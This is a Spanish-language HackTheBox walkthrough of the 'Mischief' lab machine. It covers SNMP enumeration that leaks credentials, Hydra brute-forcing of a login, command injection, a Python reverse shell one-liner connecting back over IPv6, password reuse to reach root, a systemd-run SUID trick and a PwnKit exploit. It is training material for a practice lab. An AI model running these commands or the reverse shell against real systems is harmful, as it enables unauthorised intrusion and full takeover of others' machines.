xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

Mischief



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos varios puertos abiertos, entre ellos el 80 que corre un servicio http

❯ nmap 10.10.10.92
Nmap scan report for 10.10.10.92  
PORT     STATE SERVICE
22/tcp   open  ssh
3366/tcp open  creativepartnr

En el puerto 3366 podemos encontrar una página la cual nos pide credenciales

Al hacer un curl al puerto 3366 en las cabeceras de respuesta nos dice que la web corre en un SimpleHTTPServer usando la version de Python 2.7.15rc1

❯ curl -s 10.10.10.92:3366 -I
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/2.7.15rc1  
Content-type: text/html

Como de poco nos sirve pasamos al protocolo UDP, donde al escanear puertos con nmap hay uno bastante interesante y es el servicio snmp corriendo en el 161

❯ sudo nmap -sU -T5 -Pn -n --top-ports 100 10.10.10.92  
Nmap scan report for 10.10.10.92
PORT    STATE SERVICE
161/udp open  snmp

Usando apt instalamos algunos mibs para snmp, y para poder usarlos en el archivo de configuracion /etc/snmp/snmp.conf comentamos la unica linea descomentada

❯ sudo apt install snmp-mibs-downloader  

Con snmpbulkwalk usando como public como community string y el mib hrSWRunName enumeramos procesos, la web corre python asi que filtramos por el

❯ snmpbulkwalk -v2c -c public 10.10.10.92 hrSWRunName | grep python  
HOST-RESOURCES-MIB::hrSWRunName.788 = STRING: "python"

Encontramos un proceso que corre python correspondiente al pid 788, listando un poco mas de informacion de este pid logramos ver partes del comando y en los argumentos de este se muestran las credenciales con las que corre el servidor web

❯ snmpbulkwalk -v2c -c public 10.10.10.92 hrSWRunTable | grep 788
HOST-RESOURCES-MIB::hrSWRunIndex.788 = INTEGER: 788
HOST-RESOURCES-MIB::hrSWRunName.788 = STRING: "python"
HOST-RESOURCES-MIB::hrSWRunID.788 = OID: SNMPv2-SMI::zeroDotZero
HOST-RESOURCES-MIB::hrSWRunPath.788 = STRING: "python"
HOST-RESOURCES-MIB::hrSWRunParameters.788 = STRING: "-m SimpleHTTPAuthServer 3366 loki:godofmischiefisloki --dir /home/loki/hosted/"  
HOST-RESOURCES-MIB::hrSWRunType.788 = INTEGER: application(4)
HOST-RESOURCES-MIB::hrSWRunStatus.788 = INTEGER: runnable(2)

Al usar las credenciales para entrar a la web en el puerto 3366 accedemos y nos encontramos con 2 posibles contraseñas para loki pero de poco nos sirven

Volvemos a snmp donde al usar el mib ipAddressType podemos ver las direcciones de todas las interfaces de red que tiene la maquina victima entre ellas la IPv6

❯ snmpbulkwalk -v2c -c public 10.10.10.92 ipAddressType
IP-MIB::ipAddressType.ipv4."10.10.10.92" = INTEGER: unicast(1)
IP-MIB::ipAddressType.ipv4."10.10.255.255" = INTEGER: broadcast(3)
IP-MIB::ipAddressType.ipv4."127.0.0.1" = INTEGER: unicast(1)
IP-MIB::ipAddressType.ipv6."00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:01" = INTEGER: unicast(1)  
IP-MIB::ipAddressType.ipv6."de:ad:be:ef:00:00:00:00:02:50:56:ff:fe:96:ee:9e" = INTEGER: unicast(1)  
IP-MIB::ipAddressType.ipv6."fe:80:00:00:00:00:00:00:02:50:56:ff:fe:96:ee:9e" = INTEGER: unicast(1)  

Quitando los : extras cada 2 caracteres podemos obtener la direccion IPv6 real

dead:beef:0000:0000:0250:56ff:fe96:ee9e  

Haciendo de nuevo un escaneo de puertos TCP con nmap pero esta vez por IPv6 tenemos acceso a un nuevo puerto y es el 80, probablemente un servicio web

❯ nmap -6 dead:beef:0000:0000:0250:56ff:fe96:ee9e  
Nmap scan report for dead:beef::250:56ff:fe96:ee9e  
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Aunque podriamos usar [dead:beef:****] para abrir la página desde la dirección IPv6 agregaremos la ip con el dominio mischief.htb para tener mayor comodidad

❯ echo "dead:beef:0000:0000:0250:56ff:fe96:ee9e mischief.htb" | sudo tee -a /etc/hosts  

La web esta vez en el puerto 80 nos muestra un boton que redirige a un login

Tenemos un login, si enviamos credenciales incorrectas a este panel nos devuelve el mensaje Sorry diciendo que son incorrectas, podemos usar esto como estado

Usando hydra y un diccionario de seclists podemos usar las 2 contraseñas que encontramos en el puerto 3366 indicando que el mensaje de error contiene Sorry

❯ hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P passwords.txt mischief.htb http-post-form "/login.php:user=^USER^&password=^PASS^:Sorry"  
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak
[DATA] attacking http-post-form://mischief.htb:80/login.php:user=^USER^&password=^PASS^:Sorry
[80][http-post-form] host: mischief.htb   login: administrator   password: trickeryanddeceit
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished


Shell - www-data


A traves de fuerza bruta con hydra encontramos que una de las contraseñas es valida para administrator en el login, al ingresar podemos ver un panel de ejecucion de comandos donde solo nos dice si el comando se ha ejecutado o no

Al agregar un simple ; en el cuadro y enviar la solicitud nos muestra el output del comando ejecutado, en este caso el output del comando de ping al localhost

Podemos cambiar el comando por un id; y podemos ver que el usuario www-data es quien ejecuta los comandos, sin embargo es bastante probable que haya alguna blacklist por detrás ya que no podemos ejecutar algunos comandos como nc

El comando python no esta dentro de la blacklist pero al enviar un tipico comando para enviar una reverse shell hacia nuestro host no recibimos la conexion

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.10",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'  

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443  

Sabemos que la maquina involucra IPv6 asi que es posible que este limitado a nivel de conexiones por IPv4, la dirección IPv6 podemos verla con ifconfig

❯ ifconfig tun0 
tun0: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST>  mtu 1500
        inet 10.10.14.10  netmask 255.255.254.0  destination 10.10.14.10
        inet6 dead:beef:2::1008  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::dcd6:9baf:f0f5:c965  prefixlen 64  scopeid 0x20<link>
        unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00  txqueuelen 500  (UNSPEC)  
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 31  bytes 4040 (3.9 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

En el oneliner de python cambiamos la dirección IPv4 por la IPv6 ademas de cambiar AF_INET por AF_INET6 para decirle que es ese tipo de conexion

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::1008",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'  

Al hacerlo recibimos la shell en el listener de netcat en el que tambien agregamos el parametro -6, ahora tenemos una shell como el usuario www-data en la maquina

❯ sudo netcat -6lvnp 443
Listening on :: 443
Connection received on dead:beef::250:56ff:fe96:ee9e
$ script /dev/null -c bash
Script started, file is /dev/null
www-data@Mischief:~/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)  
www-data@Mischief:~/html$ hostname -I
10.10.10.92 dead:beef::250:56ff:fe96:ee9e 
www-data@Mischief:~/html$


Shell - loki


En el directorio home del usuario loki podemos encontrar un archivo llamado credentials el cual contiene una sola linea que parecer ser su contraseña

www-data@Mischief:/home/loki$ ls -l
-rw-rw-r-- 1 loki loki   28 May 17  2018 credentials  
drwxrwxr-x 2 loki loki 4096 Jul 20  2022 hosted
-r-------- 1 loki loki   33 May 17  2018 user.txt
www-data@Mischief:/home/loki$ cat credentials 
pass: lokiisthebestnorsegod
www-data@Mischief:/home/loki$

Podemos simplemente usar la contraseña para conectarnos por ssh como el usuario loki, obtenemos una shell como este usuario y podemos leer la flag user.txt

❯ ssh loki@10.10.10.92
loki@10.10.10.92's password: lokiisthebestnorsegod  
loki@Mischief:~$ id
uid=1000(loki) gid=1004(loki) groups=1004(loki)
loki@Mischief:~$ hostname -I
10.10.10.92 dead:beef::250:56ff:fe96:ee9e 
loki@Mischief:~$ cat user.txt 
bf5**************************060
loki@Mischief:~$


Shell - root


Al listar el historial de comandos que ha ejecutado este usuario vemos un comando de python donde usa como credenciales a loki y otra contraseña

loki@Mischief:~$ history
    1  python -m SimpleHTTPAuthServer loki:lokipasswordmischieftrickery  
    2  exit
    3  free -mt
    4  ifconfig
    5  cd /etc/
    6  sudo su
    7  su
    8  exit
    9  su root
   10  ls -la
   11  sudo -l
   12  ifconfig
   13  id
   14  cat .bash_history 
   15  nano .bash_history 
   16  exit
   19  id
   20  hostname -I
   21  cat user.txt 
   24  history
loki@Mischief:~$

Puede que esa contraseña la reutilize el usuario root, sin embargo al intentar usar su o sudo para ejecutar comandos como root nos dice que no tenemos permiso

loki@Mischief:~$ su root
-bash: /bin/su: Permission denied
loki@Mischief:~$ sudo -u root bash
-bash: /usr/bin/sudo: Permission denied  
loki@Mischief:~$

Con getfacl podemos listar mejor los privilegios sobre estos binarios, al usuario loki solo se le otorgaron privilegios r-- osea de lectura y no de ejecucion

loki@Mischief:~$ getfacl /bin/su
getfacl: Removing leading '/' from absolute path names  
# file: bin/su
# owner: root
# group: root
# flags: s--
user::rwx
user:loki:r--
group::r-x
mask::r-x
other::r-x
loki@Mischief:~$ getfacl /usr/bin/sudo
getfacl: Removing leading '/' from absolute path names  
# file: usr/bin/sudo
# owner: root
# group: root
# flags: s--
user::rwx
user:loki:r--
group::r-x
mask::r-x
other::r-x
loki@Mischief:~$

Sin embargo esta regla no aplica para el usuario www-data donde al usar su root y proporcionar la contraseña obtenemos una shell como el usuario root sin ningun problema, sin embargo al intentar leer la flag nos dice que no se encuentra ahi

www-data@Mischief:~$ su root
Password: lokipasswordmischieftrickery  
root@Mischief:~# id
uid=0(root) gid=0(root) groups=0(root)
root@Mischief:~# hostname -I
10.10.10.92 dead:beef::250:56ff:fe96:ee9e 
root@Mischief:~# cat /root/root.txt 
The flag is not here, get a shell to find it!  
root@Mischief:~#

Usando el comando find buscamos por el archivo con nombre root.txt, una vez encontramos la ruta basta con hacerle un tipico cat para leer la flag final

root@Mischief:~# find / -name root.txt 2>/dev/null
/usr/lib/gcc/x86_64-linux-gnu/7/root.txt
/root/root.txt
root@Mischief:~# cat /usr/lib/gcc/x86_64-linux-gnu/7/root.txt  
ae1**************************807
root@Mischief:~#


Extra 1 - loki


En la web del puerto 80 nos dicen que existe un archivo llamado credentials en el directorio home de loki pero esta dentro de la blacklist asi que no podemos leerla

La string credentials esta en la blacklist sin embargo podemos usar algo como c* para indicar que el archivo inicia con la letra c y despues contiene cualquier cosa

De esa manera nos muestra la contraseña de loki y podemos conectarnos por ssh

❯ ssh loki@10.10.10.92
loki@10.10.10.92's password: lokiisthebestnorsegod  
loki@Mischief:~$ id
uid=1000(loki) gid=1004(loki) groups=1004(loki)
loki@Mischief:~$ hostname -I
10.10.10.92 dead:beef::250:56ff:fe96:ee9e
loki@Mischief:~$ cat user.txt
bf5**************************060
loki@Mischief:~$


Extra 2 - root


Para convertir en usuario root no podiamos ejecutar su o sudo sin embargo con el comando systemd-run podemos ejecutar un comando como este usuario, en este caso ejecutaremos chmod u+s /bin/bash para asignar privilegios suid a la bash

loki@Mischief:~$ systemd-run chmod u+s /bin/bash
==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ===
Authentication is required to manage system services or other units.  
Authenticating as: root
Password: lokipasswordmischieftrickery
==== AUTHENTICATION COMPLETE ===
Running as unit: run-u42.service
loki@Mischief:~$

Despues de ejecutar el comando como root los privilegios en la bash cambian a suid, por lo que al ejecutar bash -p nos convertimos en root facilmente

loki@Mischief:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1113504 Apr  4  2018 /bin/bash  
loki@Mischief:~$ bash -p
bash-4.4# whoami
root
bash-4.4# hostname -I
10.10.10.92 dead:beef::250:56ff:fe96:ee9e 
bash-4.4#


Extra 3 - root


Al buscar binarios con privilegio suid nos encontramos con el ya conocido pkexec

loki@Mischief:~$ find / -perm -u+s 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/bin/newgidmap
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/newuidmap
/usr/bin/traceroute6.iputils
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/at
/usr/bin/gpasswd
/bin/umount
/bin/ntfs-3g
/bin/su
/bin/mount
/bin/fusermount
/bin/ping
loki@Mischief:~$ ls -l /usr/bin/pkexec
-rwsr-xr-x 1 root root 22520 Mar 27  2018 /usr/bin/pkexec  
loki@Mischief:~$

Podemos usar un exploit para explotar el famoso pwnkit y nos convertimos en root

loki@Mischief:~$ python3 CVE-2021-4034.py
[+] Creating shared library for exploit code.  
[+] Calling execve()
# whoami
root
# hostname -I
10.10.10.92 dead:beef::250:56ff:fe96:ee9e
#